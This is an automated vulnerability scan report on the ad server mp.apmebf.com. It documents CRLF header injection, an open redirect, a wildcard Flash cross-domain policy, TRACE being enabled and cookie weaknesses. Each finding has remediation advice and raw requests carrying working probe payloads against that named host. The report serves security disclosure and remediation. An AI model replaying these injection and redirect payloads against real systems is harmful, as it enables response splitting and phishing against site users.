HTTP Header Injection, CWE-113, mp.apmebf.com, Exmaple, Report, PoC

HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.

Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.

Issue remediation

If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.

1.1. http://mp.apmebf.com/ad/js/10105-118547-2060-6 [REST URL parameter 1] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://mp.apmebf.com
Path:	/ad/js/10105-118547-2060-6

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload dcc52%0d%0a267c4eb9467 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /dcc52%0d%0a267c4eb9467/js/10105-118547-2060-6?mpt=[2048082194ER]&mpvc=&host=altfarm.mediaplex.com HTTP/1.1
Accept: */*
Referer: http://www.msn.com/
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Cookie: S=fks3qs-6545-1296410771256-3x
Proxy-Connection: Keep-Alive
Host: mp.apmebf.com

Response

HTTP/1.1 302 Found
Date: Sat, 12 Feb 2011 01:22:34 GMT
Server: Apache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR PSAo PSDo OUR IND UNI COM NAV"
Set-Cookie: S=fks3qs-6545-1296410771256-3x; domain=.apmebf.com; path=/; expires=Mon, 11-Feb-2013 01:22:34 GMT
Location: http://altfarm.mediaplex.com/dcc52
267c4eb9467/js/10105-118547-2060-6?mpt=[2048082194ER]&mpvc=&no_cj_c=0&upsid=801975159413
Content-Length: 320
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://altfarm.mediaplex.com/dcc52
267c4eb9467
...[SNIP]...

1.2. http://mp.apmebf.com/ad/js/10105-118547-2060-6 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://mp.apmebf.com
Path:	/ad/js/10105-118547-2060-6

Issue detail

The value of REST URL parameter 2 is copied into the Location response header. The payload f64b5%0d%0a9ca9b2ee10f was submitted in the REST URL parameter 2. This caused a response containing an injected HTTP header.

Request

GET /ad/f64b5%0d%0a9ca9b2ee10f/10105-118547-2060-6?mpt=[2048082194ER]&mpvc=&host=altfarm.mediaplex.com HTTP/1.1
Accept: */*
Referer: http://www.msn.com/
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Cookie: S=fks3qs-6545-1296410771256-3x
Proxy-Connection: Keep-Alive
Host: mp.apmebf.com

Response

HTTP/1.1 302 Found
Date: Sat, 12 Feb 2011 01:22:34 GMT
Server: Apache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR PSAo PSDo OUR IND UNI COM NAV"
Set-Cookie: S=fks3qs-6545-1296410771256-3x; domain=.apmebf.com; path=/; expires=Mon, 11-Feb-2013 01:22:34 GMT
Location: http://altfarm.mediaplex.com/ad/f64b5
9ca9b2ee10f/10105-118547-2060-6?mpt=[2048082194ER]&mpvc=&no_cj_c=0&upsid=801975159413
Content-Length: 320
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://altfarm.mediaplex.com/ad/f64b5
9ca9b2ee
...[SNIP]...

1.3. http://mp.apmebf.com/ad/js/10105-118547-2060-6 [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://mp.apmebf.com
Path:	/ad/js/10105-118547-2060-6

Issue detail

The value of REST URL parameter 3 is copied into the Location response header. The payload f9b34%0d%0a140281f6438 was submitted in the REST URL parameter 3. This caused a response containing an injected HTTP header.

Request

GET /ad/js/f9b34%0d%0a140281f6438?mpt=[2048082194ER]&mpvc=&host=altfarm.mediaplex.com HTTP/1.1
Accept: */*
Referer: http://www.msn.com/
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Cookie: S=fks3qs-6545-1296410771256-3x
Proxy-Connection: Keep-Alive
Host: mp.apmebf.com

Response

HTTP/1.1 302 Found
Date: Sat, 12 Feb 2011 01:22:35 GMT
Server: Apache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR PSAo PSDo OUR IND UNI COM NAV"
Set-Cookie: S=fks3qs-6545-1296410771256-3x; domain=.apmebf.com; path=/; expires=Mon, 11-Feb-2013 01:22:35 GMT
Location: http://altfarm.mediaplex.com/ad/js/f9b34
140281f6438?mpt=[2048082194ER]&mpvc=&no_cj_c=0&upsid=801975159413
Content-Length: 303
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://altfarm.mediaplex.com/ad/js/f9b34
14028
...[SNIP]...

1.4. http://mp.apmebf.com/ad/js/10105-118547-2060-6 [S cookie] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://mp.apmebf.com
Path:	/ad/js/10105-118547-2060-6

Issue detail

The value of the S cookie is copied into the Set-Cookie response header. The payload f1edf%0d%0a6af820b5262 was submitted in the S cookie. This caused a response containing an injected HTTP header.

Request

GET /ad/js/10105-118547-2060-6?mpt=[2048082194ER]&mpvc=&host=altfarm.mediaplex.com HTTP/1.1
Accept: */*
Referer: http://www.msn.com/
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Cookie: S=f1edf%0d%0a6af820b5262
Proxy-Connection: Keep-Alive
Host: mp.apmebf.com

Response

HTTP/1.1 302 Found
Date: Sat, 12 Feb 2011 01:22:33 GMT
Server: Apache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR PSAo PSDo OUR IND UNI COM NAV"
Set-Cookie: S=f1edf
6af820b5262; domain=.apmebf.com; path=/; expires=Mon, 11-Feb-2013 01:22:33 GMT
Location: http://altfarm.mediaplex.com/ad/js/10105-118547-2060-6?mpt=[2048082194ER]&mpvc=&no_cj_c=0&upsid=890566997050
Content-Length: 304
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://altfarm.mediaplex.com/ad/js/10105-118547
...[SNIP]...

2. Flash cross-domain policy previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://mp.apmebf.com
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from any domain.

Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.

Issue background

The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.

Request

GET /crossdomain.xml HTTP/1.0
Host: mp.apmebf.com

Response

HTTP/1.1 200 OK
Date: Sat, 12 Feb 2011 01:22:32 GMT
Server: Apache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR PSAo PSDo OUR IND UNI COM NAV"
Last-Modified: Fri, 19 Dec 2008 21:38:40 GMT
ETag: "1b1f-c7-45e6d21e5d800"
Accept-Ranges: bytes
Content-Length: 199
Keep-Alive: timeout=5
Connection: Keep-Alive
Content-Type: text/x-cross-domain-policy

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

3. Open redirection previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://mp.apmebf.com
Path:	/ad/js/10105-118547-2060-6

Issue detail

The value of the host request parameter is used to perform an HTTP redirect. The payload .aad50df185639591e/ was submitted in the host parameter. This caused a redirection to the following URL:

http://.aad50df185639591e//ad/js/10105-118547-2060-6?mpt=[2048082194ER]&mpvc=&no_cj_c=0&upsid=801975159413

The application attempts to prevent redirection attacks by prepending an absolute prefix to the user-supplied URL. However, this prefix does not include a trailing slash, so an attacker can add an additional domain name to point to a domain which they control.

Remediation detail

When prepending an absolute prefix to the user-supplied URL, the application should ensure that the prefixed domain name is followed by a slash.

Issue background

Open redirection vulnerabilities arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way. An attacker can construct a URL within the application which causes a redirection to an arbitrary external domain. This behaviour can be leveraged to facilitate phishing attacks against users of the application. The ability to use an authentic application URL, targetting the correct domain with a valid SSL certificate (if SSL is used) lends credibility to the phishing attack because many users, even if they verify these features, will not notice the subsequent redirection to a different domain.

Remediation background

If possible, applications should avoid incorporating user-controllable data into redirection targets. In many cases, this behaviour can be avoided in two ways:

Remove the redirection function from the application, and replace links to it with direct links to the relevant target URLs.
Maintain a server-side list of all URLs that are permitted for redirection. Instead of passing the target URL as a parameter to the redirector, pass an index into this list.

If it is considered unavoidable for the redirection function to receive user-controllable input and incorporate this into the redirection target, one of the following measures should be used to minimize the risk of redirection attacks:

The application should use relative URLs in all of its redirects, and the redirection function should strictly validate that the URL received is a relative URL.
The application should use URLs relative to the web root for all of its redirects, and the redirection function should validate that the URL received starts with a slash character. It should then prepend http://yourdomainname.com to the URL before issuing the redirect.
The application should use absolute URLs for all of its redirects, and the redirection function should verify that the user-supplied URL begins with http://yourdomainname.com/ before issuing the redirect.

Request

GET /ad/js/10105-118547-2060-6?mpt=[2048082194ER]&mpvc=&host=.aad50df185639591e/ HTTP/1.1
Accept: */*
Referer: http://www.msn.com/
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Cookie: S=fks3qs-6545-1296410771256-3x
Proxy-Connection: Keep-Alive
Host: mp.apmebf.com

Response

HTTP/1.1 302 Found
Date: Sat, 12 Feb 2011 01:22:33 GMT
Server: Apache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR PSAo PSDo OUR IND UNI COM NAV"
Set-Cookie: S=fks3qs-6545-1296410771256-3x; domain=.apmebf.com; path=/; expires=Mon, 11-Feb-2013 01:22:33 GMT
Location: http://.aad50df185639591e//ad/js/10105-118547-2060-6?mpt=[2048082194ER]&mpvc=&no_cj_c=0&upsid=801975159413
Content-Length: 302
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://.aad50df185639591e//ad/js/10105-118547-2
...[SNIP]...

4. Cookie scoped to parent domain previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mp.apmebf.com
Path:	/ad/js/10105-118547-2060-6

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

S=fks3qs-6545-1296410771256-3x; domain=.apmebf.com; path=/; expires=Mon, 11-Feb-2013 01:22:32 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

Request

GET /ad/js/10105-118547-2060-6?mpt=[2048082194ER]&mpvc=&host=altfarm.mediaplex.com HTTP/1.1
Accept: */*
Referer: http://www.msn.com/
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Cookie: S=fks3qs-6545-1296410771256-3x
Proxy-Connection: Keep-Alive
Host: mp.apmebf.com

Response

HTTP/1.1 302 Found
Date: Sat, 12 Feb 2011 01:22:32 GMT
Server: Apache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR PSAo PSDo OUR IND UNI COM NAV"
Set-Cookie: S=fks3qs-6545-1296410771256-3x; domain=.apmebf.com; path=/; expires=Mon, 11-Feb-2013 01:22:32 GMT
Location: http://altfarm.mediaplex.com/ad/js/10105-118547-2060-6?mpt=[2048082194ER]&mpvc=&no_cj_c=0&upsid=801975159413
Content-Length: 304
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://altfarm.mediaplex.com/ad/js/10105-118547
...[SNIP]...

5. Cross-domain Referer leakage previous next
There are 3 instances of this issue:

/ad/js/10105-118547-2060-6
/ad/js/10105-118547-2060-6
/ad/js/10105-118547-2060-6

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

5.1. http://mp.apmebf.com/ad/js/10105-118547-2060-6 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mp.apmebf.com
Path:	/ad/js/10105-118547-2060-6

Issue detail

The page was loaded from a URL containing a query string:

http://mp.apmebf.com/ad/js/10105-118547-2060-6?mpt=[2048082194ER]&mpvc=&host=altfarm.mediaplex.com

The response contains the following link to another domain:

http://altfarm.mediaplex.com/ad/js/10105-118547-2060-6?mpt=[2048082194ER]&mpvc=&no_cj_c=0&upsid=801975159413

Request

GET /ad/js/10105-118547-2060-6?mpt=[2048082194ER]&mpvc=&host=altfarm.mediaplex.com HTTP/1.1
Accept: */*
Referer: http://www.msn.com/
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Cookie: S=fks3qs-6545-1296410771256-3x
Proxy-Connection: Keep-Alive
Host: mp.apmebf.com

Response

5.2. http://mp.apmebf.com/ad/js/10105-118547-2060-6 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mp.apmebf.com
Path:	/ad/js/10105-118547-2060-6

Issue detail

The page was loaded from a URL containing a query string:

http://mp.apmebf.com/ad/js/10105-118547-2060-6?mpt=[2066759779ER]&mpvc=&host=altfarm.mediaplex.com

The response contains the following link to another domain:

http://altfarm.mediaplex.com/ad/js/10105-118547-2060-6?mpt=[2066759779ER]&mpvc=&no_cj_c=1&upsid=829241991871

Request

GET /ad/js/10105-118547-2060-6?mpt=[2066759779ER]&mpvc=&host=altfarm.mediaplex.com HTTP/1.1
Host: mp.apmebf.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.msn.com/

Response

HTTP/1.1 302 Found
Date: Sat, 12 Feb 2011 01:58:05 GMT
Server: Apache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR PSAo PSDo OUR IND UNI COM NAV"
Set-Cookie: S=g14vo-2196-1297475886364-6r; domain=.apmebf.com; path=/; expires=Mon, 11-Feb-2013 01:58:06 GMT
Location: http://altfarm.mediaplex.com/ad/js/10105-118547-2060-6?mpt=[2066759779ER]&mpvc=&no_cj_c=1&upsid=829241991871
Content-Length: 304
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://altfarm.mediaplex.com/ad/js/10105-118547-2060-6?mpt=[2066759779ER]&mpvc=&no_cj_c=1&upsid=829241991871">here</a>
...[SNIP]...

5.3. http://mp.apmebf.com/ad/js/10105-118547-2060-6 previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mp.apmebf.com
Path:	/ad/js/10105-118547-2060-6

Issue detail

The page was loaded from a URL containing a query string:

http://mp.apmebf.com/ad/js/10105-118547-2060-6?mpt=[2066759779ER]&mpvc=&host=altfarm.mediaplex.com

The response contains the following link to another domain:

http://altfarm.mediaplex.com/ad/js/10105-118547-2060-6?mpt=[2066759779ER]&mpvc=&no_cj_c=1&upsid=495456076721

Request

Response

HTTP/1.1 302 Found
Date: Sat, 12 Feb 2011 01:54:10 GMT
Server: Apache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR PSAo PSDo OUR IND UNI COM NAV"
Set-Cookie: S=g14vo-4605-1297475650438-0v; domain=.apmebf.com; path=/; expires=Mon, 11-Feb-2013 01:54:10 GMT
Location: http://altfarm.mediaplex.com/ad/js/10105-118547-2060-6?mpt=[2066759779ER]&mpvc=&no_cj_c=1&upsid=495456076721
Content-Length: 304
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://altfarm.mediaplex.com/ad/js/10105-118547-2060-6?mpt=[2066759779ER]&mpvc=&no_cj_c=1&upsid=495456076721">here</a>
...[SNIP]...

6. Cookie without HttpOnly flag set previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mp.apmebf.com
Path:	/ad/js/10105-118547-2060-6

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

S=fks3qs-6545-1296410771256-3x; domain=.apmebf.com; path=/; expires=Mon, 11-Feb-2013 01:22:32 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /ad/js/10105-118547-2060-6?mpt=[2048082194ER]&mpvc=&host=altfarm.mediaplex.com HTTP/1.1
Accept: */*
Referer: http://www.msn.com/
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Cookie: S=fks3qs-6545-1296410771256-3x
Proxy-Connection: Keep-Alive
Host: mp.apmebf.com

Response

7. TRACE method is enabled previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mp.apmebf.com
Path:	/

Issue description

The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.

Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.

Issue remediation

The TRACE method should be disabled on the web server.

Request

TRACE / HTTP/1.0
Host: mp.apmebf.com
Cookie: b09559a5431f93e0

Response

HTTP/1.1 200 OK
Date: Sat, 12 Feb 2011 01:22:32 GMT
Server: Apache
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: mp.apmebf.com
Cookie: b09559a5431f93e0
Connection: Keep-Alive

8. Robots.txt file previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mp.apmebf.com
Path:	/ad/js/10105-118547-2060-6

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: mp.apmebf.com

Response

HTTP/1.1 200 OK
Date: Sat, 12 Feb 2011 01:22:32 GMT
Server: Apache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR PSAo PSDo OUR IND UNI COM NAV"
Last-Modified: Sat, 10 Mar 2007 17:40:16 GMT
ETag: "1b1a-1a-42b5608766000"
Accept-Ranges: bytes
Content-Length: 26
Keep-Alive: timeout=5
Connection: Keep-Alive
Content-Type: text/plain; charset=ISO-8859-1

User-agent: *
Disallow: /

Report generated by CloudScan Vulnerability Crawler at Mon Feb 14 11:13:32 CST 2011.